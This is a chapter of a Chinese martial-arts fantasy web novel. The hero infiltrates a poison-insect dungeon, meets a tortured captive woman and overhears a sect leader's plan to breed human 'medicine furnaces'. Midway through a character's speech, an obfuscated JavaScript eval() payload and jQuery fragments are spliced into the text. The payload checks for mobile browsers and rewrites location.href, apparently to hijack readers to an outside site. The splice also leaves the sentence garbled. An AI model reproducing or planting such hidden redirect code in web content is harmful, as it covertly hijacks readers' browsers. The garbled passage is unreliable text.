回忆戛然而止。


    掌心传来刺痛，慕小楼蓦然惊醒，那只本该气绝的清心蛊竟在掌心垂死挣扎。此时那蛊虫扭曲着咬破他的手掌，血珠悄然坠落，尖锐的痛楚终于将他拽出混沌。


    待他凝神四顾，浓雾里空无一人，方知方才所见皆是幻境。


    没想到这毒瘴竟能惑人心智。


    慕小楼脊背忽生寒意，不知何时，那梅晏清的身影已消失无踪。


    他心中警铃大作。


    “簌——”


    一道银芒划破黑暗，慕小楼身形微侧，轻巧避过致命杀机。银丝擦着面颊掠过，将丈外磐石炸作齑粉。借着碎石飞溅的声响，他如白鹤掠影，转瞬隐入山岩暗影之中。


    “嗯？”


    只听梅晏清疑了一声，却蓦然收拢银丝。试探未果，便不再纠缠。


    ——显然这诡谲之地令他也心存忌惮，不愿轻易弄出响动。


    慕小楼暗暗松了口气。


    只见那梅晏清虽神色恍惚，仍精准地触发了机关。石壁传来齿轮咬合的轻响，眼前巨门正缓缓洞开。


    ......


    原来禁地所在，竟是一间地下囚室。


    密室空间开阔，穹顶布满盘根错节的根系，似有古木在此扎根。


    地面仅余蜿蜒石径将这圆形空间一分为二，而两侧凹陷处犹如干涸的深潭，其中翻涌的并非泉水，竟是粘稠如墨的剧毒雾气。


    慕小楼仰首望去，数百个玄铁铸造的囚笼正悬于岩顶，粗重铁链如同巨蟒缠绕。每个笼室皆可容纳成人，如棋盘上的棋子般密集排列。有些囚笼空空荡荡，有些则关押着气若游丝的囚徒，在铁链轻微的晃动中发出锁扣相击的脆响。


    ——伴随齿轮轰鸣，铁链持续滑动。沉入毒潭的囚笼激起诡异波纹，凄厉哀嚎在岩壁间回响。当铁笼重新升起时，那些雾气竟如附骨之疽攀附笼身，隐约可见笼底残留的猩红液体。某些囚笼再度悬起时，其中只剩模糊的血肉残骸，将铁栅染成暗褐色。


    哀鸣与痛呼交织回荡在幽闭空间，却无人投来一瞥。


    慕小楼恍惚间仿佛踏入了修罗场。


    最引人注目的莫过于眼前的巨大牢笼，数以万计的毒虫振翅声在笼内轰鸣。后至的虫群疯狂撞击栅栏，却发现狭小空间早已被同类占据——盘踞着的毒虫层层叠叠，将后来者尽数弹开。


    慕小楼心头陡然泛起一股恶寒，若非及时稳住心神，他几乎就要拔剑。


    ——他分明看见，在毒虫肆虐的囚笼深处，竟有截雪白的手臂正在微微颤动。那纤细的臂膀布满血痂，五指却如铁铸般死死扣住栅栏，任由毒虫啃噬也未曾松脱。


    那手臂分明属于一个女子。


    慕小楼胸中惊怒交加。他素来不近女色，用小妹的话说便是“怕女人”，偏他又最见不得欺凌妇孺之事。


    正因如此，当日奉命追捕那嗔刃之时，即便公主下了死命，他也依旧留有三分余地，只想将其捉回，却欲保其性命。


    此刻见此惨状，自然怒火中烧，几乎不能自持。


    梅晏清今日显得有些心不在焉，全然未察觉身后尾随之人。他沿着幽深甬道缓步前行，最终停驻在正中间的铁牢前。


    翻涌的毒雾并未避让，那些剧毒虫豸虽爬满衣袍，却未伤他分毫，许是用了什么秘法护体。


    又或许，他本就是至毒之物。


    玉骨扇轻叩铁栏，附着的毒物簌簌脱落——铁笼深处逐渐显现的，竟是个被血污覆盖的女子躯体，残破得几乎不成人形。


    脏污的面容间依稀可辨昔日清丽。虽正值韶华，那双眼眸却已浸透沧桑。


    慕小楼指节发白，牙关紧咬。


    铁笼中人分明尚存鼻息，可这般生不如死的处境，倒不如利落一剑来得痛快。


    女子艰难睁眼，涣散瞳孔终于聚焦在来者身上。


    那视线却异常宁和，恍若晨间将散的薄雾。


    “梅...公子......”


    那女子竟笑了笑，气息微弱地呢喃着。


    “是你来了...”


    梅晏清身形微滞，沉默不语。


    “别…别再杀人了…”


    女子始终重复着这两句话，语调虚弱却异常执着。听得久了，慕小楼恍惚间生出错觉，仿佛这密闭之所自亘古便只回荡着这般哀求。


    许久，梅晏清终于出声。


    “你以为你这般姿态，就能抵消梅家的冤屈与血债么？”


    “不...”


    她微弱地摇头。那双盈满悲悯的眸子，倒映着梅晏清骤然苍白的脸色。


    “梅公子...错了...我们都做错了…犯下的罪业总要偿还…”


    梅晏清寒声道：“本门主今日来是要告诉你，前日已寻获你弟弟。他倒是个命硬的，屡次自我掌中脱逃，不过料想再过不久，你们手足便可团聚了...”


    女子缓缓摇头：“放过那孩子罢…梅公子…莫再造杀孽了。”


    她的声音逐渐虚弱，话语间唇边渗出暗红血渍。梅晏清明白这是毒入脏腑的征兆，骨肉剥离般的剧痛正侵蚀着她。


    他心中焦躁愈烈，一把扣住玄铁栅栏，眼底翻涌着暴戾：


    “我凭什么收手？错的明明是你们！本门主何罪之有？何时轮得到你来教训我？”


    囚笼剧烈晃动，不知何故，那气息奄奄的女子竟凝聚最后气力，将染血的指尖轻轻贴上青年面颊。


    “梅公子...一定很疼吧...”女子的纤指在青年的后脑悄然落定，那指尖温润而冰凉，“还记得么？你答应过流萤要忘记这一切，今后不再困于仇怨...”


    仿佛某种约定俗成的暗语，又仿佛是两人之间的默契，梅晏清如遭雷殛，怔然间竟忘了挣脱。


    即便浑身血污，女子那双墨玉般的眼睛依旧澄明如泉，她的话语也仿佛有某种抚慰人心的力量。


    ——这也是梅晏清今日会在恍惚之中行于此地的原因。


    女子呢喃道：“...那半枚玉镯，可还在公子身边？”


    ——前日因着以南海琼玉追剿苏家余孽，那群酒囊饭袋竟将之遗失。


    梅晏清本就为此心烦意乱，闻言登时眉峰陡沉，冷声道：“...这种东西，我早就丢了！”


    “是么...无妨，我还留着。”女子摊开另一只手掌，温润玉光在其间流转，“咳咳...梅公子说过，这是你师父留给你的东西...梅公子，你可还记得？”


    “多管闲事！滚开！”


    梅晏清折扇骤扬，罡风将蛊虫震作齑粉，铁笼轰然撞向岩壁，女子也跟着如断线纸鸢撞上铁栏，半截玉镯沿着笼隙滑落。


    眼看着玉镯即将坠入深涧，电光火石间，细丝激射而出，精准嵌入对面崖壁，那半枚玉镯孤悬在千缕银丝之上，岌岌可危。


    梅晏清毫不犹豫纵身一跃，凌空攥住玉镯，指尖银丝骤然收拢，堪堪将他悬吊半空。


    毒虫如黑雾翻涌，他咬紧牙关，带着那染血的琼玉荡回石台，面上却徒添几分狼狈。


    玉镯莹润通透，拭净表面血迹后竟无半分损毁，可见原主对其何等珍视。梅晏清难以理解，在身躯残破至此的境况下，这物什何以能奇迹般保存完好...


    慕小楼在暗处旁观——那玉镯完好无损，山壁却被银丝洞穿碎石飞溅。素以神力自傲的他，自忖这份刚柔并济的掌控力，自己尚难企及。


    而那女子硬吃一击，早已昏死过去。


    慕小楼静候良久，直至四肢发僵，方见那梅晏清冷着脸拂袖离去。对方显然心不在焉，竟连密室机关都忘记关闭，那石门依旧大敞着。


    他心中纠结一番，闪身驻足铁笼前。


    女子在昏沉中遭受毒虫侵袭，痛苦地发出嘤咛之声。


    慕小楼再不迟疑，掌心贴住女子背脊运转玄功。真气流转间，竟逼得昏迷之人苏醒过来。


    “你是......”女子虽受剧痛折磨，神志仍保持清明。


    “苏小姐，在下是来救你的。”慕小楼从对话中确认对方身份——江湖盛传的苏氏灭门惨案人尽皆知，能与风门主结此深仇者，必是苏家遗孤。


    慕小楼素来沉默寡言，未及回应便已开始寻找解锁之法。他倏然擎起重剑，寒光直劈玄铁囚笼。


    “叮——”地一声，金铁相撞之声乍响，火星迸射，毒虫坠落，铁栅却纹丝未损。


    “公子不必…白费力气了…”女子虚弱摇头。


    慕小楼动作骤停：“难道你甘愿受困于此？”


    “不...此乃苏家罪孽…合该由我偿还…”她误将青年视作传信之人，缓缓递出沾血的布包，“公子既来相救…必是受人之托。请将此物转交…此后…莫要再入险境。”


    慕小楼进退维谷，方才试探已明，这囚笼非蛮力可破，而开启的机括，他更是一无所知…若此刻退去，更不知下次再来之时，这女子还有没有命活。


    “此为何物？须交予何人？”


    “交给...交给我的胞弟决明。”女子气息渐弱，“他既托你前来…见此物…自会了断因果…”


    慕小楼一惊，难怪那风门主将她关在此处折辱，原是要逼出苏氏最后血脉的下落。见女子意识逐渐涣散，他急忙伸手接过，发觉这竟是一卷针囊。


    慕小楼攥紧布包，肃然道：“苏小姐放心，在下必不负所托。”


    “多…谢…”


    女子仿佛用尽最后一丝气力，见慕小楼应允后顿时力竭，再度陷入昏迷。


    密密麻麻的毒虫正沿着她苍白的肌肤蔓延，竟有吞噬整个身躯之势。


    慕小楼默然长叹，只得咬牙撤离，刚欲循来路折返，却听见“轰”地一声巨响，慕小楼心中一惊，慌忙闪至石门之后。


    “咔嚓咔嚓——”


    车轮碾过地面的声响混着脚步声从廊道传来。雾气略微消散，推着木制轮椅的身影缓缓进入地牢。


    “元膺，你将本座引至此地，莫非想让本座亲自体会九幽虫狱的玄妙？”


    来人竟是万寿宫主与火门之主！


    他匆匆一瞥便收回视线，待两道身影掠过牢门，倏然闪身穿过长门，恰巧避开对方。所幸那二人目光凝在中央牢笼，全然未觉身后异动。


    慕小楼将气息敛至若有似无，只听那火门主谄媚道：


    “禀宫主，方才探子来报，风门主现身此地。属下唯恐他因私情纵放那女子，特请宫主移驾监察。”


    “结果？”黑袍人轻托下颌，漫不经心道。


    “这......”火门主喉头一哽，目光扫过毫无破损的玄铁囚笼，“可那人确曾现身于此。属下冒昧揣测，此次按兵不动，难保下次不会出手。”


    “不管怎么说，应承你的事，本座已办妥。为证晏清清白，连他最在意的女人都予你看管，要知道他方才可是发了好一通火才从本座这儿离去。”黑袍人轻叹，“元膺，该收收你的疑心了。”


    “谨遵宫主令。”火门主慌忙垂首。


    “元膺，你乃先宫主钦点的栋梁。你的忠心，本座从未质疑。此刻无外人在场，便与你直言相告。先宫主临终曾言，晏清生有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604166|166670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逆骨不堪重用，终成心腹大患。这些年本座暗中观察，却始终未见异状...”


    黑袍人慢悠悠说着，但见火门主额角渗汗，垂目不敢接话。


    “——本座岂不知纵虎归山之患？然晏清这头猛虎实在得用。若你们三门有风门的半数能耐，本座又何须容许风门自成一派，任其凌驾四大门之上？说到底...元膺，还是你们不成器啊...”


    火门主只得硬着头皮问道：“既然如此，宫主为何不......”


    他无言比了个手势。


    黑袍人目光转向铁笼中的女子，嘴角泛起笑意。


    “话说一半。不过此刻，本座已无需有此顾虑。”


    火门主怔忡片刻，顺着视线望向铁笼。


    “宫主的意思是...”


    “元膺，此事倒要记你一功。”黑袍人抚掌轻笑，“若非你献策试探，本座怎会察觉，连晏清这般冷硬之人，也长了一颗肉做的心。如此甚好。”


    火门主躬身道：“全赖宫主洞若观火，属下岂敢贪天之功。”


    “恭维话便免了。元膺，且来见证我们的杰作——”黑袍人示意其关闭石门，慕小楼闪身避开，终是再难捕捉半分声响。


    ——然而这一发现已足够令他心神剧震。


    谁能料到威震武林的万寿宫主，竟是个女子！


    慕小楼潜伏探查期间，听闻宫主对风门弟子格外宽容，对其余各门却异常严酷。如今看来，这种两面三刀的作风背后，实则暗藏更深层的图谋。


    想到那九幽虫狱的秘密，慕小楼背脊微凉，强行掐断思绪。此刻理不清千头万绪，当即决意撤离，须尽快将密报传予叶染衣知晓。


    ......


    九幽虫狱之中——


    “宫主，此乃天赐神迹啊...”


    辛元膺凝视着逐渐显现的骇人景象，眼底交织着敬畏与亢奋，纵然年过三十，仍抑制不住浑身颤栗。


    机关轰鸣声中，毒雾如退潮般消散。两边幽潭深处，数以千计的惨白人躯在墨色甲壳之间若隐若现。奇形怪状的毒虫在人群中疯狂扭动，不知餍足地吸食着生者的血肉与髓骨，而生者却对此浑然不觉。


    每个人皆是双目紧闭，只有微微起伏的胸膛证明他们尚且存活。


    “此间三千药炉，皆是本座亲手遴选。”黑袍人低笑道，“千余药人皆已驯服，若再施以秘术，或可抵千军之威...”


    ——至于如何“遴选”，两人对视间已明未尽之言。


    辛元膺心中暗惊，前代宫主在位时，万寿宫对此事的执着便如烈火烹油，未曾想新宫主继任不过几年，药炉的培育竟已达如此规模...


    他早知宫主乃药理奇才，许是久病所致，不仅精研医道，更传闻其深谙毒理。眼前的九幽虫狱，正是宫主呕心之作——传说可令枯骨生肌的当世奇方。


    “只是本座着实有些头疼——兴许是受蛊母的影响，这些药炉总是不太安分。若它们同时异动，倒真要费些周章了...”黑袍人摇头轻叹，“前些日子特意遣人去请天雪山贵客，正是要商讨应对之策。”


    辛元膺面露疑惑：“属下一直不解。无心教素来与中州武林势同水火，他们能有何作为？”


    “元膺此言差矣。世间何来永恒仇敌，唯有恒久利字当先。若能殊途同归，此事未必不可转圜。”黑袍人轻笑着拂袖，“尔可听过绝世奇毒‘绝情蛊’？素闻无心教豢蛊的秘术独步天下，兼之那教中秘术‘摄魂夺魄’，何不请那位教主前来瞧瞧本座这千鼎药炉？”


    辛元膺躬身应诺：“宫主深谋远虑，属下拜服。”


    “算时辰...他们也该到了...”黑袍人自顾沉吟。


    辛元膺屏息静立，余光扫过周遭层层叠叠的苍白躯体，却忽见无数眼睑同时颤动！


    千百双空洞眼眸倏然圆睁，直勾勾锁定闯入者。辛元膺猝不及防与某道视线相触，耳畔骤起鸣响，朦胧中似有女子娇笑缠绕耳际。


    “...看哪儿呢？往这儿瞧...这儿呀...”


    他恍惚着往前迈了半步，黑袍人遽然攥住他衣摆，将他生生拽住。


    “元膺，前面可是万蛊潭。”黑袍人不动声色道。


    “谢宫主提醒。属下失态！”辛元膺额角沁出冷汗，脚边碎石坠入深潭。


    他凝视潭底毒虫窸窣游动，退至石道中央，心中一阵后怕。再看那一具具“药炉”，分明都是双目紧闭之相。


    ——方才不知怎的，他竟有一种冲动，想从这石径边跳下去看看。


    黑袍人温声劝慰：“确是本座疏忽了，你的体质不宜在此久留...速速返回罢，莫让晏清瞧出破绽。”


    辛元膺不敢耽搁，应声运气抵御毒瘴。


    木轮吱呀作响，碾过潮湿的石径原路折返。


    行至半途，忽闻黑袍人喃喃自语：“纵有避毒丹护体，抗毒时效还是不足？看来药方尚需改良...”


    辛元膺忆起方才自己通禀之时宫主毫不意外的面容，更想起二人同赴虫狱前，对方凝视他吞服丹药之时眼中跃动的幽光，一个悚然念头忽而自心底生出。


    ——难道在宫主眼中，自己也不过是试药的器皿之一？


    而离去的二人却浑然未觉，当石门轰然闭合的刹那，铁笼中的女子骤然睁眼。潭底阴森雾气中，无数双眼睛也倏然睁开，动作竟与那女子出奇地一致。


    万籁俱寂，唯有毒虫窸窸窣窣，它们遵循最原始的欲望与本能——噬咬、消亡、新生，恰似人世轮回的缩影，永远不知疲惫。